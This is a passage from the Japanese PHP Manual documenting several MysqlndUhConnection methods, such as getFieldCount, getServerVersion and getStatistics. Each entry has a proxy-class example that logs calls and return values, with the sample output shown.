var_dump($mysqli->error);
printf("close...\n");
$mysqli->close();
?>

上の例の出力は以下となります。

connect...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns ''
query...
errno...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'WILL_I_EVER_LEARN_SQL?\' at line 1'
string(168) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WILL_I_EVER_LEARN_SQL?' at line 1"
close...

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorNumber() - Returns the error code for the most recent function call
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysql_error() - 直近に実行された MySQL 操作のエラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns for the most recent query

  • ≪ MysqlndUhConnection::getErrorString
  • MysqlndUhConnection::getHostInformation ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the number of columns for the most recent query

MysqlndUhConnection::getFieldCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query

説明

public MysqlndUhConnection::getFieldCount ( mysqlnd_connection $connection ) : int

Returns the number of columns for the most recent query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Number of columns.

例

MysqlndUhConnection::getFieldCount() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

例1 MysqlndUhConnection::getFieldCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getFieldCount($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getFieldCount($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
var_dump($mysqli->field_count);
$mysqli->query("SELECT 1, 2, 3 FROM DUAL");
var_dump($mysqli->field_count);
?>

上の例の出力は以下となります。

proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 0
int(0)
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
int(3)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_field_count() - 直近のクエリのカラムの数を返す

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representing the type of connection used

  • ≪ MysqlndUhConnection::getFieldCount
  • MysqlndUhConnection::getLastInsertId ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns a string representing the type of connection used

MysqlndUhConnection::getHostInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used

説明

public MysqlndUhConnection::getHostInformation ( mysqlnd_connection $connection ) : string

Returns a string representing the type of connection used.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Connection description.

例

例1 MysqlndUhConnection::getHostInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getHostInformation($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getHostInformation($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->host_info);
?>

上の例の出力は以下となります。

proxy::getHostInformation(array (
  0 => NULL,
))
proxy::getHostInformation returns 'Localhost via UNIX socket'
string(25) "Localhost via UNIX socket"

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_host_info() - 使用している接続の型を文字列で返す
  • mysql_get_host_info() - MySQL ホスト情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated id used in the last query

  • ≪ MysqlndUhConnection::getHostInformation
  • MysqlndUhConnection::getLastMessage ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the auto generated id used in the last query

MysqlndUhConnection::getLastInsertId

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query

説明

public MysqlndUhConnection::getLastInsertId ( mysqlnd_connection $connection ) : int

Returns the auto generated id used in the last query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Last insert id.

例

例1 MysqlndUhConnection::getLastInsertId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastInsertId($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastInsertId($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT AUTO_INCREMENT PRIMARY KEY, col VARCHAR(255))");
$mysqli->query("INSERT INTO test(col) VALUES ('a')");
var_dump($mysqli->insert_id);
?>

上の例の出力は以下となります。

proxy::getLastInsertId(array (
  0 => NULL,
))
proxy::getLastInsertId returns 1
int(1)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_insert_id() - 直近のクエリで使用した自動生成の ID を返す
  • mysql_insert_id() - 直近のクエリで生成された ID を得る

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about the most recently executed query

  • ≪ MysqlndUhConnection::getLastInsertId
  • MysqlndUhConnection::getProtocolInformation ≫
  • PHP Manual
  • MysqlndUhConnection
  • Retrieves information about the most recently executed query

MysqlndUhConnection::getLastMessage

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query

説明

public MysqlndUhConnection::getLastMessage ( mysqlnd_connection $connection ) : void

Retrieves information about the most recently executed query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Last message. Trying to return a string longer than 511 bytes will cause an error of the type E_WARNING and result in the string being truncated.

例

例1 MysqlndUhConnection::getLastMessage() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastMessage($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastMessage($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->info);
$mysqli->query("DROP TABLE IF EXISTS test");
var_dump($mysqli->info);
?>

上の例の出力は以下となります。

proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""
proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_info() - 直近に実行されたクエリの情報を取得する
  • mysql_info() - 直近のクエリについての情報を得る

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL protocol used

  • ≪ MysqlndUhConnection::getLastMessage
  • MysqlndUhConnection::getServerInformation ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL protocol used

MysqlndUhConnection::getProtocolInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used

説明

public MysqlndUhConnection::getProtocolInformation ( mysqlnd_connection $connection ) : string

Returns the version of the MySQL protocol used.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The protocol version.

例

例1 MysqlndUhConnection::getProtocolInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getProtocolInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getProtocolInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->protocol_version);
?>

上の例の出力は以下となります。

proxy::getProtocolInformation(array (
  0 => NULL,
))
proxy::getProtocolInformation returns 10
int(10)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_proto_info() - 使用している MySQL プロトコルのバージョンを返す
  • mysql_get_proto_info() - MySQL プロトコル情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server

  • ≪ MysqlndUhConnection::getProtocolInformation
  • MysqlndUhConnection::getServerStatistics ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL server

MysqlndUhConnection::getServerInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server

説明

public MysqlndUhConnection::getServerInformation ( mysqlnd_connection $connection ) : string

Returns the version of the MySQL server.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The server version.

例

例1 MysqlndUhConnection::getServerInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_info);
?>

上の例の出力は以下となります。

proxy::getServerInformation(array (
  0 => NULL,
))
proxy::getServerInformation returns '5.1.45-debug-log'
string(16) "5.1.45-debug-log"

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_info() - MySQL サーバーのバージョンを返す
  • mysql_get_server_info() - MySQL サーバー情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


Gets the current system status

  • ≪ MysqlndUhConnection::getServerInformation
  • MysqlndUhConnection::getServerVersion ≫
  • PHP Manual
  • MysqlndUhConnection
  • Gets the current system status

MysqlndUhConnection::getServerStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerStatistics — Gets the current system status

説明

public MysqlndUhConnection::getServerStatistics ( mysqlnd_connection $connection ) : string

Gets the current system status.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The system status message.

例

例1 MysqlndUhConnection::getServerStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_stat($mysqli));
?>

上の例の出力は以下となります。

proxy::getServerStatistics(array (
  0 => NULL,
))
proxy::getServerStatistics returns 'Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61'
string(140) "Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61"

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stat() - 現在のシステム状態を取得する
  • mysql_stat() - 現在のシステムの状態を取得する

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server as an integer

  • ≪ MysqlndUhConnection::getServerStatistics
  • MysqlndUhConnection::getSqlstate ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL server as an integer

MysqlndUhConnection::getServerVersion

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer

説明

public MysqlndUhConnection::getServerVersion ( mysqlnd_connection $connection ) : int

Returns the version of the MySQL server as an integer.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The MySQL version.

例

例1 MysqlndUhConnection::getServerVersion() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerVersion($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerVersion($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_version);
?>

上の例の出力は以下となります。

proxy::getServerVersion(array (
  0 => NULL,
))
proxy::getServerVersion returns 50145
int(50145)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_version() - MySQL サーバーのバージョンを整数値で返す
  • mysql_get_server_version()

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLSTATE error from previous MySQL operation

  • ≪ MysqlndUhConnection::getServerVersion
  • MysqlndUhConnection::getStatistics ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the SQLSTATE error from previous MySQL operation

MysqlndUhConnection::getSqlstate

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation

説明

public MysqlndUhConnection::getSqlstate ( mysqlnd_connection $connection ) : string

Returns the SQLSTATE error from previous MySQL operation.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The SQLSTATE code.

例

例1 MysqlndUhConnection::getSqlstate() example

<?php
class proxy extends MysqlndUhConnection {
 public function getSqlstate($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getSqlstate($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->sqlstate);
$mysqli->query("AN_INVALID_REQUEST_TO_PROVOKE_AN_ERROR");
var_dump($mysqli->sqlstate);
?>

上の例の出力は以下となります。

proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '00000'
string(5) "00000"
proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '42000'
string(5) "42000"

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_sql_state()

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about the client connection

  • ≪ MysqlndUhConnection::getSqlstate
  • MysqlndUhConnection::getThreadId ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns statistics about the client connection

MysqlndUhConnection::getStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getStatistics — Returns statistics about the client connection

説明

public MysqlndUhConnection::getStatistics ( mysqlnd_connection $connection ) : array

Returns statistics about the client connection.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Connection statistics collected by mysqlnd.

例

例1 MysqlndUhConnection::getStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->get_connection_stats());
?>

上の例の出力は以下となります。

proxy::getStatistics(array (
  0 => NULL,
))
proxy::getStatistics returns array (
  'bytes_sent' => '73',
  'bytes_received' => '77',
  'packets_sent' => '2',
  'packets_received' => '2',
  'protocol_overhead_in' => '8',
  'protocol_overhead_out' => '8',
  'bytes_received_ok_packet' => '0',
  'bytes_received_eof_packet' => '0',
  'bytes_received_rset_header_packet' => '0',
  'bytes_received_rset_field_meta_packet' => '0',
  'bytes_received_rset_row_packet' => '0',
  'bytes_received_prepare_response_packet' => '0',
  'bytes_received_change_user_packet' => '0',
  'packets_sent_command' => '0',
  'packets_received_ok' => '0',
  'packets_received_eof' => '0',
  'packets_received_rset_header' => '0',
  'packets_received_rset_field_meta' => '0',
  'packets_received_rset_row' => '0',
  'packets_received_prepare_response' => '0',
  'packets_received_change_user' => '0',
  'result_set_queries' => '0',
  'non_result_set_queries' => '0',
  'no_index_used' => '0',
  'bad_index_used' => '0',
  'slow_queries' => '0',
  'buffered_sets' => '0',
  'unbuffered_sets' => '0',
  'ps_buffered_sets' => '0',
  'ps_unbuffered_sets' => '0',
  'flushed_normal_sets' => '0',
  'flushed_ps_sets' => '0',
  'ps_prepared_never_executed' => '0',
  'ps_prepared_once_executed' => '0',
  'rows_fetched_from_server_normal' => '0',
  'rows_fetched_from_server_ps' => '0',
  'rows_buffered_from_client_normal' => '0',
  'rows_buffered_from_client_ps' => '0',
  'rows_fetched_from_client_normal_buffered' => '0',
  'rows_fetched_from_client_normal_unbuffered' => '0',
  'rows_fetched_from_client_ps_buffered' => '0',
  'rows_fetched_from_client_ps_unbuffered' => '0',
  'rows_fetched_from_client_ps_cursor' => '0',
  'rows_affected_normal' => '0',
  'rows_affected_ps' => '0',
  'rows_skipped_normal' => '0',
  'rows_skipped_ps' => '0',
  'copy_on_write_saved' => '0',
  'copy_on_write_performed' => '0',
  'command_buffer_too_small' => '0',
  'connect_success' => '1',
  'connect_failure' => '0',
  'connection_reused' => '0',
  'reconnect' => '0',
  'pconnect_success' => '0',
  'active_connections' => '1',
  'active_persistent_connections' => '0',
  'explicit_close' => '0',
  'implicit_close' => '0',
  'disconnect_close' => '0',
  'in_middle_of_command_close' => '0',
  'explicit_free_result' => '0',
  'implicit_free_result' => '0',
  'explicit_stmt_close' => '0',
  'implicit_stmt_close' => '0',
  'mem_emalloc_count' => '0',
  'mem_emalloc_amount' => '0',
  'mem_ecalloc_count' => '0',
  'mem_ecalloc_amount' => '0',
  'mem_erealloc_count' => '0',
  'mem_erealloc_amount' => '0',
  'mem_efree_count' => '0',
  'mem_efree_amount' => '0',
  'mem_malloc_count' => '0',
  'mem_malloc_amount' => '0',
  'mem_calloc_count' => '0',
  'mem_calloc_amount' => '0',
  'mem_realloc_count' => '0',
  'mem_realloc_amount' => '0',
  'mem_free_count' => '0',
  'mem_free_amount' => '0',
  'mem_estrndup_count' => '0',
  'mem_strndup_count' => '0',
  'mem_estndup_count' => '0',
  'mem_strdup_count' => '0',
  'proto_text_fetched_null' => '0',
  'proto_text_fetched_bit' => '0',
  'proto_text_fetched_tinyint' => '0',
  'proto_text_fetched_short' => '0',
  'proto_text_fetched_int24' => '0',
  'proto_text_fetched_int' => '0',
  'proto_text_fetched_bigint' => '0',
  'proto_text_fetched_decimal' => '0',
  'proto_text_fetched_float' => '0',
  'proto_text_fetched_double' => '0',
  'proto_text_fetched_date' => '0',
  'proto_text_fetched_year' => '0',
  'proto_text_fetched_time' => '0',
  'proto_text_fetched_datetime' => '0',
  'proto_text_fetched_timestamp' => '0',
  'proto_text_fetched_string' => '0',
  'proto_text_fetched_blob' => '0',
  'proto_text_fetched_enum' => '0',
  'proto_text_fetched_set' => '0',
  'proto_text_fetched_geometry' => '0',
  'proto_text_fetched_other' => '0',
  'proto_binary_fetched_null' => '0',
  'proto_binary_fetched_bit' => '0',
  'proto_binary_fetched_tinyint' => '0',
  'proto_binary_fetched_short' => '0',
  'proto_binary_fetched_int24' => '0',
  'proto_binary_fetched_int' => '0',
  'proto_binary_fetched_bigint' => '0',
  'proto_binary_fetched_decimal' => '0',
  'proto_binary_fetched_float' => '0',
  'proto_binary_fetched_double' => '0',
  'proto_binary_fetched_date' => '0',
  'proto_binary_fetched_year' => '0',
  'proto_binary_fetched_time' => '0',
  'proto_binary_fetched_datetime' => '0',
  'proto_binary_fetched_timestamp' => '0',
  'proto_binary_fetched_string' => '0',
  'proto_binary_fetched_blob' => '0',
  'proto_binary_fetched_enum' => '0',
  'proto_binary_fetched_set' => '0',
  'proto_binary_fetched_geometry' => '0',
  'proto_binary_fetched_other' => '0',
  'init_command_executed_count' => '0',
  'init_command_failed_count' => '0',
  'com_quit' => '0',
  'com_init_db' => '0',
  'com_query' => '0',
  'com_field_list' => '0',
  'com_create_db' => '0',
  'com_drop_db' => '0',
  'com_refresh' => '0',
  'com_shutdown' => '0',
  'com_statistics' => '0',
  'com_process_info' => '0',
  'com_connect' => '0',
  'com_process_kill' => '0',
  'com_debug' => '0',
  'com_ping' => '0',
  'com_time' => '0',
  'com_delayed_insert' => '0',
  'com_change_user' => '0',
  'com_binlog_dump' => '0',
  'com_table_dump' => '0',
  'com_connect_out' => '0',
  'com_register_slave' => '0',
  'com_stmt_prepare' => '0',
  'com_stmt_execute' => '0',
  'com_stmt_send_long_data' => '0',
  'com_stmt_close' => '0',
  'com_stmt_reset' => '0',
  'com_stmt_set_option' => '0',
  'com_stmt_fetch' => '0',
  'com_deamon' => '0',
  'bytes_received_real_data_normal' => '0',
  'bytes_received_real_data_ps' => '0',
)
array(160) {
  ["bytes_sent"]=>
  string(2) "73"
  ["bytes_received"]=>
  string(2) "77"
  ["packets_sent"]=>
  string(1) "2"
  ["packets_received"]=>
  string(1) "2"
  ["protocol_overhead_in"]=>
  string(1) "8"
  ["protocol_overhead_out"]=>
  string(1) "8"
  ["bytes_received_ok_packet"]=>
  string(1) "0"
  ["bytes_received_eof_packet"]=>
  string(1) "0"
  ["bytes_received_rset_header_packet"]=>
  string(1) "0"
  ["bytes_received_rset_field_meta_packet"]=>
  string(1) "0"
  ["bytes_received_rset_row_packet"]=>
  string(1) "0"
  ["bytes_received_prepare_response_packet"]=>
  string(1) "0"
  ["bytes_received_change_user_packet"]=>
  string(1) "0"
  ["packets_sent_command"]=>
  string(1) "0"
  ["packets_received_ok"]=>
  string(1) "0"
  ["packets_received_eof"]=>
  string(1) "0"
  ["packets_received_rset_header"]=>
  string(1) "0"
  ["packets_received_rset_field_meta"]=>
  string(1) "0"
  ["packets_received_rset_row"]=>
  string(1) "0"
  ["packets_received_prepare_response"]=>
  string(1) "0"
  ["packets_received_change_user"]=>
  string(1) "0"
  ["result_set_queries"]=>
  string(1) "0"
  ["non_result_set_queries"]=>
  string(1) "0"
  ["no_index_used"]=>
  string(1) "0"
  ["bad_index_used"]=>
  string(1) "0"
  ["slow_queries"]=>
  string(1) "0"
  ["buffered_sets"]=>
  string(1) "0"
  ["unbuffered_sets"]=>
  string(1) "0"
  ["ps_buffered_sets"]=>
  string(1) "0"
  ["ps_unbuffered_sets"]=>
  string(1) "0"
  ["flushed_normal_sets"]=>
  string(1) "0"
  ["flushed_ps_sets"]=>
  string(1) "0"
  ["ps_prepared_never_executed"]=>
  string(1) "0"
  ["ps_prepared_once_executed"]=>
  string(1) "0"
  ["rows_fetched_from_server_normal"]=>
  string(1) "0"
  ["rows_fetched_from_server_ps"]=>
  string(1) "0"
  ["rows_buffered_from_client_normal"]=>
  string(1) "0"
  ["rows_buffered_from_client_ps"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_normal_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_buffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_unbuffered"]=>
  string(1) "0"
  ["rows_fetched_from_client_ps_cursor"]=>
  string(1) "0"
  ["rows_affected_normal"]=>
  string(1) "0"
  ["rows_affected_ps"]=>
  string(1) "0"
  ["rows_skipped_normal"]=>
  string(1) "0"
  ["rows_skipped_ps"]=>
  string(1) "0"
  ["copy_on_write_saved"]=>
  string(1) "0"
  ["copy_on_write_performed"]=>
  string(1) "0"
  ["command_buffer_too_small"]=>
  string(1) "0"
  ["connect_success"]=>
  string(1) "1"
  ["connect_failure"]=>
  string(1) "0"
  ["connection_reused"]=>
  string(1) "0"
  ["reconnect"]=>
  string(1) "0"
  ["pconnect_success"]=>
  string(1) "0"
  ["active_connections"]=>
  string(1) "1"
  ["active_persistent_connections"]=>
  string(1) "0"
  ["explicit_close"]=>
  string(1) "0"
  ["implicit_close"]=>
  string(1) "0"
  ["disconnect_close"]=>
  string(1) "0"
  ["in_middle_of_command_close"]=>
  string(1) "0"
  ["explicit_free_result"]=>
  string(1) "0"
  ["implicit_free_result"]=>
  string(1) "0"
  ["explicit_stmt_close"]=>
  string(1) "0"
  ["implicit_stmt_close"]=>
  string(1) "0"
  ["mem_emalloc_count"]=>
  string(1) "0"
  ["mem_emalloc_amount"]=>
  string(1) "0"
  ["mem_ecalloc_count"]=>
  string(1) "0"
  ["mem_ecalloc_amount"]=>
  string(1) "0"
  ["mem_erealloc_count"]=>
  string(1) "0"
  ["mem_erealloc_amount"]=>
  string(1) "0"
  ["mem_efree_count"]=>
  string(1) "0"
  ["mem_efree_amount"]=>
  string(1) "0"
  ["mem_malloc_count"]=>
  string(1) "0"
  ["mem_malloc_amount"]=>
  string(1) "0"
  ["mem_calloc_count"]=>
  string(1) "0"
  ["mem_calloc_amount"]=>
  string(1) "0"
  ["mem_realloc_count"]=>
  string(1) "0"
  ["mem_realloc_amount"]=>
  string(1) "0"
  ["mem_free_count"]=>
  string(1) "0"
  ["mem_free_amount"]=>
  string(1) "0"
  ["mem_estrndup_count"]=>
  string(1) "0"
  ["mem_strndup_count"]=>
  string(1) "0"
  ["mem_estndup_count"]=>
  string(1) "0"
  ["mem_strdup_count"]=>
  string(1) "0"
  ["proto_text_fetched_null"]=>
  string(1) "0"
  ["proto_text_fetched_bit"]=>
  string(1) "0"
  ["proto_text_fetched_tinyint"]=>
  string(1) "0"
  ["proto_text_fetched_short"]=>
  string(1) "0"
  ["proto_text_fetched_int24"]=>
  string(1) "0"
  ["proto_text_fetched_int"]=>
  string(1) "0"
  ["proto_text_fetched_bigint"]=>
  string(1) "0"
  ["proto_text_fetched_decimal"]=>
  string(1) "0"
  ["proto_text_fetched_float"]=>
  string(1) "0"
  ["proto_text_fetched_double"]=>
  string(1) "0"
  ["proto_text_fetched_date"]=>
  string(1) "0"
  ["proto_text_fetched_year"]=>
  string(1) "0"
  ["proto_text_fetched_time"]=>
  string(1) "0"
  ["proto_text_fetched_datetime"]=>
  string(1) "0"
  ["proto_text_fetched_timestamp"]=>
  string(1) "0"
  ["proto_text_fetched_string"]=>
  string(1) "0"
  ["proto_text_fetched_blob"]=>
  string(1) "0"
  ["proto_text_fetched_enum"]=>
  string(1) "0"
  ["proto_text_fetched_set"]=>
  string(1) "0"
  ["proto_text_fetched_geometry"]=>
  string(1) "0"
  ["proto_text_fetched_other"]=>
  string(1) "0"
  ["proto_binary_fetched_null"]=>
  string(1) "0"
  ["proto_binary_fetched_bit"]=>
  string(1) "0"
  ["proto_binary_fetched_tinyint"]=>
  string(1) "0"
  ["proto_binary_fetched_short"]=>
  string(1) "0"
  ["proto_binary_fetched_int24"]=>
  string(1) "0"
  ["proto_binary_fetched_int"]=>
  string(1) "0"
  ["proto_binary_fetched_bigint"]=>
  string(1) "0"
  ["proto_binary_fetched_decimal"]=>
  string(1) "0"
  ["proto_binary_fetched_float"]=>
  string(1) "0"
  ["proto_binary_fetched_double"]=>
  string(1) "0"
  ["proto_binary_fetched_date"]=>
  string(1) "0"
  ["proto_binary_fetched_year"]=>
  string(1) "0"
  ["proto_binary_fetched_time"]=>
  string(1) "0"
  ["proto_binary_fetched_datetime"]=>
  string(1) "0"
  ["proto_binary_fetched_timestamp"]=>
  string(1) "0"
  ["proto_binary_fetched_string"]=>
  string(1) "0"
  ["proto_binary_fetched_blob"]=>
  string(1) "0"
  ["proto_binary_fetched_enum"]=>
  string(1) "0"
  ["proto_binary_fetched_set"]=>
  string(1) "0"
  ["proto_binary_fetched_geometry"]=>
  string(1) "0"
  ["proto_binary_fetched_other"]=>
  string(1) "0"
  ["init_command_executed_count"]=>
  string(1) "0"
  ["init_command_failed_count"]=>
  string(1) "0"
  ["com_quit"]=>
  string(1) "0"
  ["com_init_db"]=>
  string(1) "0"
  ["com_query"]=>
  string(1) "0"
  ["com_field_list"]=>
  string(1) "0"
  ["com_create_db"]=>
  string(1) "0"
  ["com_drop_db"]=>
  string(1) "0"
  ["com_refresh"]=>
  string(1) "0"
  ["com_shutdown"]=>
  string(1) "0"
  ["com_statistics"]=>
  string(1) "0"
  ["com_process_info"]=>
  string(1) "0"
  ["com_connect"]=>
  string(1) "0"
  ["com_process_kill"]=>
  string(1) "0"
  ["com_debug"]=>
  string(1) "0"
  ["com_ping"]=>
  string(1) "0"
  ["com_time"]=>
  string(1) "0"
  ["com_delayed_insert"]=>
  string(1) "0"
  ["com_change_user"]=>
  string(1) "0"
  ["com_binlog_dump"]=>
  string(1) "0"
  ["com_table_dump"]=>
  string(1) "0"
  ["com_connect_out"]=>
  string(1) "0"
  ["com_register_slave"]=>
  string(1) "0"
  ["com_stmt_prepare"]=>
  string(1) "0"
  ["com_stmt_execute"]=>
  string(1) "0"
  ["com_stmt_send_long_data"]=>
  string(1) "0"
  ["com_stmt_close"]=>
  string(1) "0"
  ["com_stmt_reset"]=>
  string(1) "0"
  ["com_stmt_set_option"]=>
  string(1) "0"
  ["com_stmt_fetch"]=>
  string(1) "0"
  ["com_deamon"]=>
  string(1) "0"
  ["bytes_received_real_data_normal"]=>
  string(1) "0"
  ["bytes_received_real_data_ps"]=>
  string(1) "0"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_connection_stats() - クライアント接続に関する統計情報を返す

User Contributed Notes

There are no user contributed notes for this page.


Returns the thread ID for the current connection

  • ≪ MysqlndUhConnection::getStatistics
  • MysqlndUhConnection::getWarningCount ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the thread ID for the current connection

MysqlndUhConnection::getThreadId

